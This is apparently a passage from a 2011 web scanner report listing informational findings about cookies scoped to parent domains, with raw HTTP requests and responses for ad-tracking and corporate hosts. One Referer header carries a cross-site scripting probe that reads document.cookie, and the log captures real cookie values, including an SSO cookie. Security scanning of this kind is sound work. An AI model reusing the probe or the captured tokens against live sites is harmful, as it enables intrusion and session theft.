Date: Sat, 05 Feb 2011 21:52:19 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=10.10.14.1-1296942739771928; Path=/; expires=Tue, 09-Feb-16 21:52:19 GMT; domain=.americanexpress.com
Location: https://online.americanexpress.com/myca/logon/us/action?request_type=LogonHandler&Face=en_US&DestPage=https%3A%2F%2Frewards.americanexpress.com%2Fmyca%2Floyalty%2Fus%2Frewards%2Fmracctmgmt%2Facctsumm%3Frequest_type%3Dauthreg_mr%26Face%3Den_US%26inav%3Dmenu_myacct_mrpointsum
Content-Length: 0
Set-Cookie: NSC_nf3-x-sx-bddu-b=ffffffff97a3d13e45525d5f4f58455e445a4a42ba91;path=/
Content-Type: text/plain
Content-Language: en-US
Connection: close
Set-Cookie: sroute=856558090.58148.0000; path=/

14.128. http://rt32.infolinks.com/action/doq.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rt32.infolinks.com
Path:	/action/doq.htm

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:32 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

POST /action/doq.htm?pcode=utf-8&r=1296944169071.1 HTTP/1.1
Host: rt32.infolinks.com
Proxy-Connection: keep-alive
Referer: http://resources.infolinks.com/flash/ic.swf
content-type: application/x-www-form-urlencoded;charset=utf-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; cnoi=2
Content-Length: 707

twnum=8&rts=1296944169071&crtss=30&rcate=&anow=&fuid=11d77bcd%2D1e56%2D4ec4%2D8f17%2D60b91b3b6392&rid=&wsid=0&ref=burp&pdom=www%2Escare666%2Ecom&refq=&ptxt=just%20about%20news%7Cfree%20tattoo%20design
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:32 GMT; Path=/
Set-Cookie: cnoi=3; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:32 GMT; Path=/
P3P: CP="NON DSP NID OUR COR"
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 2806
Date: Sat, 05 Feb 2011 22:35:24 GMT
Connection: close

data=({rid:'19e4c78f-5cba-4ac1-a4e2-d797d9a28264',fuid:'11d77bcd-1e56-4ec4-8f17-60b91b3b6392',sentences:{'graphic designers':{auth:{ssd:'pyLHHeia_ZLdtc0elSUPOZwYvA85Bi47WAQiMBGbfP8QGLGadgfcILH2vzXIRPX
...[SNIP]...

14.129. http://rt82.infolinks.com/action/doq.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rt82.infolinks.com
Path:	/action/doq.htm

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:18 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

POST /action/doq.htm?pcode=utf-8&r=1296944132135.1 HTTP/1.1
Host: rt82.infolinks.com
Proxy-Connection: keep-alive
Referer: http://resources.infolinks.com/flash/ic.swf
content-type: application/x-www-form-urlencoded;charset=utf-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; cnoi=1
Content-Length: 663

twnum=8&rts=1296944132136&crt=1&rcate=&anow=&fuid=11d77bcd%2D1e56%2D4ec4%2D8f17%2D60b91b3b6392&rid=&wsid=0&ref=burp&pdom=www%2Escare666%2Ecom&refq=&ptxt=just%20about%20news%7Cfree%20tattoo%20designs%2
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:18 GMT; Path=/
Set-Cookie: cnoi=2; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:18 GMT; Path=/
P3P: CP="NON DSP NID OUR COR"
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 2805
Date: Sat, 05 Feb 2011 22:35:10 GMT
Connection: close

data=({rid:'2b42bf69-f9b5-4581-b1f9-d14fe468ec23',fuid:'11d77bcd-1e56-4ec4-8f17-60b91b3b6392',sentences:{'graphic designers':{auth:{ssd:'DxEeWajNm9z8tEDTprVRcNMVS45LwjB_Pk4yAPQWDhhsIdxUsjuxBsUuE3uANgo
...[SNIP]...

14.130. http://rt83.infolinks.com/action/doq.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rt83.infolinks.com
Path:	/action/doq.htm

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:13 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

POST /action/doq.htm?pcode=utf-8&r=1296944122040.1 HTTP/1.1
Host: rt83.infolinks.com
Proxy-Connection: keep-alive
Referer: http://resources.infolinks.com/flash/ic.swf
content-type: application/x-www-form-urlencoded;charset=utf-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; cnoi=0
Content-Length: 615

crtwa=728&twnum=8&rts=1296944122041&crtss=30&rcate=&anow=&crt=1&rid=&ref=burp&fuid=&refq=&rh=&wsid=0&by=f&pdom=www%2Escare666%2Ecom&csilv=3%2E0%2E50611%2E0&ptxt=just%20about%20news%7Cfree%20tattoo%20d
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:13 GMT; Path=/
Set-Cookie: cnoi=1; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:13 GMT; Path=/
P3P: CP="NON DSP NID OUR COR"
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 2805
Date: Sat, 05 Feb 2011 22:35:06 GMT
Connection: close

data=({rid:'32ee1ffe-b370-4e67-81d6-7fba3ea16f6a',fuid:'11d77bcd-1e56-4ec4-8f17-60b91b3b6392',sentences:{'graphic designers':{auth:{ssd:'m-CgWNHkBNztVYW8Sno0DzskCEYwZO-FZXzK7bQ7e5UmXN0gV1X8o-96Sd0rNje
...[SNIP]...

14.131. https://sb.voicefive.com/b previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://sb.voicefive.com
Path:	/b

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

UID=4794bf8-184.50.222.110-1297008284; expires=Tue, 05-Feb-2013 16:04:44 GMT; path=/; domain=.voicefive.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /b HTTP/1.1
Host: sb.voicefive.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.132. http://segment-pixel.invitemedia.com/pixel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://segment-pixel.invitemedia.com
Path:	/pixel

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

segments="13746|10659|16748|3425|38582,1298044270|40657|24085|10102|3391|3392|23864|11262|11265|9800|30353|7775|17277|38781|8|27273|2377"; Domain=invitemedia.com; expires=Sun, 05-Feb-2012 21:48:02 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /pixel?code=2794&partnerID=86&key=segment&returnType=js HTTP/1.1
Host: segment-pixel.invitemedia.com
Proxy-Connection: keep-alive
Referer: http://download32.us.intellitxt.com/iframescript.jsp?src=http%3A%2F%2Fpixel.intellitxt.com%2Fpixel.jsp%3Fid%3D2773%2C2770%2C2765%2C2794%2C2792%2C2795%2C2763%2C2764%26type%3Dscript%26ipid%3D18400%26sfid%3D0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid=82d726c3-44ee-407c-85c4-39a0b0fc11ef; exchange_uid=eyIyIjogWyI0NzYwNDkyOTk5MjEzODAxNzMzIiwgNzM0MTcwXSwgIjQiOiBbIkNBRVNFSk81T0hYNWxOR0lITDdmRUVFSjQtWSIsIDczNDE1MV19; io_frequency="{\"8866\": [0+ 0+ 1296072684+ 1+ 1296072684+ 1]+ \"8171\": [0+ 0+ 1296660699+ 2+ 1296659838+ 2]+ \"8733\": [0+ 0+ 1295634039+ 1+ 1295634039+ 1]+ \"9376\": [0+ 0+ 1296659628+ 1+ 1296659628+ 1]}"; impressions="{\"429622\": [1295634039+ \"94ea05fe-2d4a-3bf7-a98e-3964b49408cd\"+ 83803+ 56236+ 46]+ \"417817\": [1296072684+ \"5b6de59f-cbbc-3ba4-8c51-0a4d6d7a0ec7\"+ 8863+ 40494+ 9173]+ \"351309\": [1296660699+ \"6b326db0-ad1f-378f-98c3-837da14b6503\"+ 139089+ 81343+ 191]+ \"456235\": [1296659628+ \"85680993-10ca-3909-9c72-ac737305e927\"+ 139089+ 81343+ 191]}"; frequency="{\"429622\": [1295893239+ 1+ 1295634039+ 1+ 1295634039+ 1]+ \"417817\": [1297368684+ 1+ 1296072684+ 1+ 1296072684+ 1]+ \"351309\": [1296660759+ 1+ 1296660699+ 2+ 1296659838+ 2]+ \"456235\": [1296659688+ 1+ 1296659628+ 1+ 1296659628+ 1]}"; subID="{}"; dp_rec="{\"1\": 1296659838+ \"3\": 1296659629+ \"2\": 1296508071+ \"4\": 1296660699}"; partnerUID="eyI4NCI6IFsiRFRRa2U3VDk5OVk0cVlKQiIsIHRydWVdfQ=="; segments="3391|16748|11265|38582,1298044270|40657|24085|10102|13746|3392|23864|11262|3425|9800|30353|7775|17277|38781|8|27273|2377"

Response

HTTP/1.0 200 OK
Server: IM BidManager
Date: Sat, 05 Feb 2011 21:48:02 GMT
P3P: policyref="/w3c/p3p.xml", CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Expires: Sat, 05-Feb-2011 21:47:42 GMT
Content-Type: text/javascript
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: segments="13746|10659|16748|3425|38582,1298044270|40657|24085|10102|3391|3392|23864|11262|11265|9800|30353|7775|17277|38781|8|27273|2377"; Domain=invitemedia.com; expires=Sun, 05-Feb-2012 21:48:02 GMT; Path=/
Content-Length: 343

makePixelRequest("http://ad.yieldmanager.com/pixel?id=731976&t=2","image");

function makePixelRequest(pixelURL,pixelType){

if(pixelType == "javascript")
{
document.write('<script src
...[SNIP]...

14.133. http://splunkbase.splunk.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

Apache=173.193.214.243.1296942761754174; path=/; expires=Sun, 01-Feb-26 21:52:41 GMT; domain=.splunk.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: splunkbase.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:41 GMT
Server: Apache/2.2.8 (EL)
Set-Cookie: Apache=173.193.214.243.1296942761754174; path=/; expires=Sun, 01-Feb-26 21:52:41 GMT; domain=.splunk.com
X-Powered-By: PHP/5.2.6
Set-Cookie: PHPSESSID=a6j517nhibdk68eu9vlpi5c1l3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ssoj=1
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 74933

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web
...[SNIP]...

14.134. http://tags.bluekai.com/site/2956 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tags.bluekai.com
Path:	/site/2956

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bk=Nk1GUZVZbt/sHNJo; expires=Thu, 04-Aug-2011 22:25:31 GMT; path=/; domain=.bluekai.com
bkc=KJh5Na+/asWDOdedfvbgt0GSw3EaaGuftAJDvkCJrDLwoMJ5/WonrkOvxVnVQ6UoYi/uqH9POWWl0aTWYlyGtCnS4mio/O9YKyAiPQiJyQ0i0pZpXXl7IP8ZIzcd7JA2l8kJCTW4CHRmFqP+Y6YSdBNyjyYKEd39rECyf8htpMe7kD2qK52hwPQWaBHRVc1tS4LhUX+I6QFCYzBzgd069JM391RF++QIUY+MfyonzN884a7KFXFUtDsXrLNrcJsK7BHKUxv6H06Xu0UL9wogtP2MWmjI0G2YxwD9DJPgJRKYfOLUovXq87gkRI8XdMf4SOzQ6XKIK6VfCIy4GA06pjk4M8+UpkYdSKo4D5ksdp4GInPCpiFw6Mp42xsChPS77FtZP8gp0M5o+LWiYdD8f4Vq/1h88SyffdTwt+Fe6LPjfH98muH2RkCbboqtYlv9bZ4w+lQKUuFB2N4ZKFT5gVCtlWVULKD6TIR57CXS87gkna6KgyHsnMUHdF6ojDXR8gp0P53wF4DVRguFhPQO575DZFwvbzvXatMd4JQdpZTbnJ6ycO7xc3wjq3UpIEKlpUkK2ZqelaIjhGaKXrzkwZVT6pYBhl1lFPXpOTelcf5TgiiH87gkAZnS8E/n6bAspT+OSzTgfbw2id4x7Q23NhMZFwJI2lklr6b82pdMNp8iIaKf5Gzd7XdTsrMX4/bc/2nlbbx4seTRLphdzd4FA0d47f67nmN4AWfE2NS8NetFtuPrgjwIXkmb4JUksK8I5Vt/K68KkoboLGH4h3xg3bDqW2/feDKmSFXcOjxMIy==; expires=Thu, 04-Aug-2011 22:25:31 GMT; path=/; domain=.bluekai.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /site/2956?ret=html HTTP/1.1
Host: tags.bluekai.com
Proxy-Connection: keep-alive
Referer: http://c03.adsummos.net/a/e/s21719
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bku=yQG99YBZ/AlFQiDm; bko=KJpMTsPQAJe62ZPAWmPMRnC3fxhA3xnadgI6Oq/ZLEWyw9s0tOiXKuWLHQR8wCMgekeLm818AYDJaWFPNyv09JtgWxy=; bkw4=KJpfoXU9y1M90zU9LsXb9T1wLfZFggw1b65ZDFRyIQQM9y1f9f1C9XmeKTPo2fuHNK2Zy3bKkVWmDctEkRFSakNiNn1hUeBiRBMXGAMpaac3tH7I9+V4YpCxhSbwgwfJuNrLbgAjcW6RsvELmqx2eBcBdfw0T0U4o9Hfs9NupXHyt8uO/zgeiItK1DQ2DeZe/OOnucgf4gN2FqcRgzDKHQ1P9ND/VE9yPYr8a3TyHPRwzGIqSi7En/8LKIFfdglEXTgLyXe3guyjs9fIYmxXMSnIwNe2gf3LwuVE1IhC5e8xwE1eaNe2AF7KmjGV/BKOlmdRy9YZD8Gjsn8MXzzrLn8uSySsaE4UzDttHnq73gDpla6x2xUtxxyQAdXYN5F1NacALxvojIOkRJOBRsH/N5KYZCX9BNXSf9XxYeJQ5kokiI8F5cXLR9vjdXumQucZBtzr9/usgtT=; bkst=KJhMR5Mehx9W+0LX4PAReQcjvQhsaCSJaZRZjg3VvRRsrijJ8AZbuzRoSqGoiHRZhLqs8oSVSKqkBf09biX9Nq1pkmjk8IVU8dAyZymawQYaCOk1eWh1M1yLe/h1EY61nzlBM/6LcMvOowZ8yqSOtqfzunolQTPS1/VZ9/DDsch5XQN0yLJBFnh541NXiLnzL6o10Nv2A6r5w101AX/eEPb9ln1D3aSSy57HB5MPB5pUFXent2y2w3xXnb303BhE+0MR8w2nVb90UCbysXlBeWyLMuy+nR61Mu61e1tBMRdDQt0DTtPQTsa/5lBB23G351bvX1gSaryeamXaiZLyksKZhmLS9AwOyLeDhBxTliEahBez01M/6+yGv5aWehCyo3RVkCqtSXL54xsewPRJ; bk=nNkisZVZbt/sHNJo; bkc=KJh56NN/aaWDOdOpjljU+2NayT4VRQFYUV6CvCVLoB0kOlBkIG9yeKZeDQhSBrFOG7xaWRA1GG/Qb9r0aXWYcT3tCeR4KQLY/5CKQGQPx7GhQIMM7JZ8zplljRR4d1IjZUwweOQ9i6Z9Chz+uye99n3Lr5K74WTTFr2boOn9l0OQ6TV6jzJu/dk8eoC7Bam229LdyaywywuPeLr9Z2UA90ar0A+wglcXrtSnaRYl2Xi+T20pLXGq/ye5zxWFX07nO6mB8mXJRvjI6AIe9wUe9cUkeeGR/BIIpcNn12Pn7ln7Xd4P5LLwCDc0QIFvVqx8iokToptdgJrUnZYdKKy4gKlWfylR43KjX+/k7mKcxReQuLSrJfdwzPBKIQfmBk9oGnZLFcDc1aBKrrMmKIiEX+Tx5fiGcWu7Hf7wMccwlPPIM4jC4KkuCIKJp5p64sZ3od+W+BNtcNbZNrv1td5843vjb3VnKcZtcZeXSCFrl8X3XGhZ0AF4yw6TlYyQQ4LSC7P9fG2pDN8bLLnh1rb49Dr70VlcrPmSRXwvDpMqlUQIdhqltm2nl3ZjIAFMmYYcdggvjpUlSLqhKmfcdtFCv1ecpfLXH0wzPYX5YK1rPyrRpf5TUQkyDNfbYm841G+fw3nzGJ706klrIh867UK4428Dw3c8Pf50MI7AY6Rn7o2CK0psdSiJIfcZRy7CIRKf4NX1opd8D/MqUmSKgOYK32ppv3N0oG7ft6drZQlY1fMfNqz+bEk2MUrCEMYduUeUN7mlogMlSTb5PwTw5S1Skx==; bkdc=res

Response

HTTP/1.0 200 OK
Date: Sat, 05 Feb 2011 22:25:31 GMT
P3P: CP="NOI DSP COR CUR ADMo DEVo PSAo PSDo OUR SAMo BUS UNI NAV", policyref="http://tags.bluekai.com/w3c/p3p.xml"
Pragma: no-cache
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: max-age=0, no-cache, no-store
Set-Cookie: bk=Nk1GUZVZbt/sHNJo; expires=Thu, 04-Aug-2011 22:25:31 GMT; path=/; domain=.bluekai.com
Set-Cookie: bkc=KJh5Na+/asWDOdedfvbgt0GSw3EaaGuftAJDvkCJrDLwoMJ5/WonrkOvxVnVQ6UoYi/uqH9POWWl0aTWYlyGtCnS4mio/O9YKyAiPQiJyQ0i0pZpXXl7IP8ZIzcd7JA2l8kJCTW4CHRmFqP+Y6YSdBNyjyYKEd39rECyf8htpMe7kD2qK52hwPQWaBHRVc1tS4LhUX+I6QFCYzBzgd069JM391RF++QIUY+MfyonzN884a7KFXFUtDsXrLNrcJsK7BHKUxv6H06Xu0UL9wogtP2MWmjI0G2YxwD9DJPgJRKYfOLUovXq87gkRI8XdMf4SOzQ6XKIK6VfCIy4GA06pjk4M8+UpkYdSKo4D5ksdp4GInPCpiFw6Mp42xsChPS77FtZP8gp0M5o+LWiYdD8f4Vq/1h88SyffdTwt+Fe6LPjfH98muH2RkCbboqtYlv9bZ4w+lQKUuFB2N4ZKFT5gVCtlWVULKD6TIR57CXS87gkna6KgyHsnMUHdF6ojDXR8gp0P53wF4DVRguFhPQO575DZFwvbzvXatMd4JQdpZTbnJ6ycO7xc3wjq3UpIEKlpUkK2ZqelaIjhGaKXrzkwZVT6pYBhl1lFPXpOTelcf5TgiiH87gkAZnS8E/n6bAspT+OSzTgfbw2id4x7Q23NhMZFwJI2lklr6b82pdMNp8iIaKf5Gzd7XdTsrMX4/bc/2nlbbx4seTRLphdzd4FA0d47f67nmN4AWfE2NS8NetFtuPrgjwIXkmb4JUksK8I5Vt/K68KkoboLGH4h3xg3bDqW2/feDKmSFXcOjxMIy==; expires=Thu, 04-Aug-2011 22:25:31 GMT; path=/; domain=.bluekai.com
Set-Cookie: bkdc=res; expires=Sun, 06-Feb-2011 22:25:31 GMT; path=/; domain=.bluekai.com
BK-Server: 9936
Content-Length: 77
Content-Type: text/html
Connection: keep-alive

<html>
<head>
</head>
<body>
<div id="bk_exchange">

</div>

</body>
</html>

14.135. http://tools.cisco.com/search/display previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tools.cisco.com
Path:	/search/display

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

ObSSOCookie=1SE5m4RRpyYNhnA4oJZJxj%2BSMzK6F3XwL8B27BRJEcVG1lg2KJurQkJvqqMGNrjZswcOjn%2BCBzqcNUTtEXpw2OaYziYkUfPB5F7jqDWb1Y9RkV1WL6URJr5R9S4F%2BJU%2FS6JoqvhVX2Ln%2FNlK8l2PzPOrhbDAxVICEn%2FmpbWAcFz4uJzaRKB3rkwq0SOYEfSqxMY7%2BcM8b8T%2FznZb3LiZ%2BXbSmT%2FboKmiG6KvGoxh2MArQilwNMyRTYZbIeCMneul499k7Qx4O8xq7Me2WCVlD8bt6Gk4l9yliurqm2FOru%2FHspPRl0KULWebhlCI6PgCh5ZgS9ZEu743ixEAozi%2Fj9EAv7079vkP3hSOOICl8zMZTFKHy8D3nfx05quJneD0; path=/; domain=.cisco.com;
CP_GUTC=173.193.214.243.1296942770034523; path=/; expires=Wed, 30-Jan-36 21:52:50 GMT; domain=.cisco.com
CP_GUTC=72.163.4.56.1296942770063012; path=/; expires=Wed, 30-Jan-36 21:52:50 GMT; domain=.cisco.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /search/display HTTP/1.1
Host: tools.cisco.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 500 Internal Server Error
Date: Sat, 05 Feb 2011 21:52:50 GMT
Server: IBM_HTTP_Server
Set-Cookie: ObSSOCookie=1SE5m4RRpyYNhnA4oJZJxj%2BSMzK6F3XwL8B27BRJEcVG1lg2KJurQkJvqqMGNrjZswcOjn%2BCBzqcNUTtEXpw2OaYziYkUfPB5F7jqDWb1Y9RkV1WL6URJr5R9S4F%2BJU%2FS6JoqvhVX2Ln%2FNlK8l2PzPOrhbDAxVICEn%2FmpbWAcFz4uJzaRKB3rkwq0SOYEfSqxMY7%2BcM8b8T%2FznZb3LiZ%2BXbSmT%2FboKmiG6KvGoxh2MArQilwNMyRTYZbIeCMneul499k7Qx4O8xq7Me2WCVlD8bt6Gk4l9yliurqm2FOru%2FHspPRl0KULWebhlCI6PgCh5ZgS9ZEu743ixEAozi%2Fj9EAv7079vkP3hSOOICl8zMZTFKHy8D3nfx05quJneD0; path=/; domain=.cisco.com;
Cache-Control: private
Pragma: private
$WSEP:
Content-Length: 108
IHSHOST: ccixweb-prod1-04
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Set-Cookie: CP_GUTC=173.193.214.243.1296942770034523; path=/; expires=Wed, 30-Jan-36 21:52:50 GMT; domain=.cisco.com
Set-Cookie: CP_GUTC=72.163.4.56.1296942770063012; path=/; expires=Wed, 30-Jan-36 21:52:50 GMT; domain=.cisco.com
RPHOST: ccxrp-prod1-03
Connection: close

Error 500: Location cannot be null in javax.servlet.http.HttpServletResponse.sendRedirect(location)

14.136. http://track2.mybloglog.com/js/jsserv.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://track2.mybloglog.com
Path:	/js/jsserv.php

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

BX=7rv9lsd6krhcf&b=3&s=je; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.mybloglog.com
mbl_sid=N2011020513475974; expires=Sun, 05-Feb-2012 21:47:59 GMT; path=/; domain=.mybloglog.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /js/jsserv.php?mblID=2010103023295009 HTTP/1.1
Host: track2.mybloglog.com
Proxy-Connection: keep-alive
Referer: http://www.orthougm.com/nslookup.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:47:59 GMT
Set-Cookie: BX=7rv9lsd6krhcf&b=3&s=je; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.mybloglog.com
P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" policyref="http://www.mybloglog.com/w3c/p3p.xml"
Expires: Sun, 06 Feb 2011 00:00:00 GMT
Set-Cookie: mbl_sid=N2011020513475974; expires=Sun, 05-Feb-2012 21:47:59 GMT; path=/; domain=.mybloglog.com
Cache-Control: private
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 17463

<!--
var mbl_recent_visitor='';
var mbl_current_visitor='';
if(typeof(mbl_jsserv_loaded)=='undefined'){var mbl_jsserv_loaded=true;function m_r_e(obj,w,f){if(window.addEventListener){obj.addEventListe
...[SNIP]...

14.137. http://us.blackberry.com/assets_refresh/images/dropNavArrow.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://us.blackberry.com
Path:	/assets_refresh/images/dropNavArrow.png

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

BLLY=35Q54e83kMijy_nk89V0lFAxrY6VDtbVadHWdB3h9L8A2uRr36LQVVw; expires=Sun, 06-Mar-2011 13:32:26 GMT; path=/; domain=.blackberry.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /assets_refresh/images/dropNavArrow.png?01AD=35Q54e83kMijy_nk89V0lFAxrY6VDtbVadHWdB3h9L8A2uRr36LQVVw&01RI=28F5F496E208D76&01NA= HTTP/1.1
Host: us.blackberry.com
Proxy-Connection: keep-alive
Referer: http://us.blackberry.com/smartphones/94178%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ed0d62204af5/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: fsr.a=1296999181981; s_cc=true; dfa_cookie=rimglobal%2Crimbbus; s_sq=%5B%5BB%5D%5D; s_sv_sid=641990084704; BLLY=CT-1

Response

HTTP/1.1 200 OK
Server: Apache/2.0.52 (Red Hat)
Last-Modified: Thu, 03 Feb 2011 21:57:47 GMT
ETag: "1b28800-239-db1eacc0"
Accept-Ranges: bytes
Content-Length: 569
Content-Type: image/png
Date: Sun, 06 Feb 2011 13:32:26 GMT
Connection: close
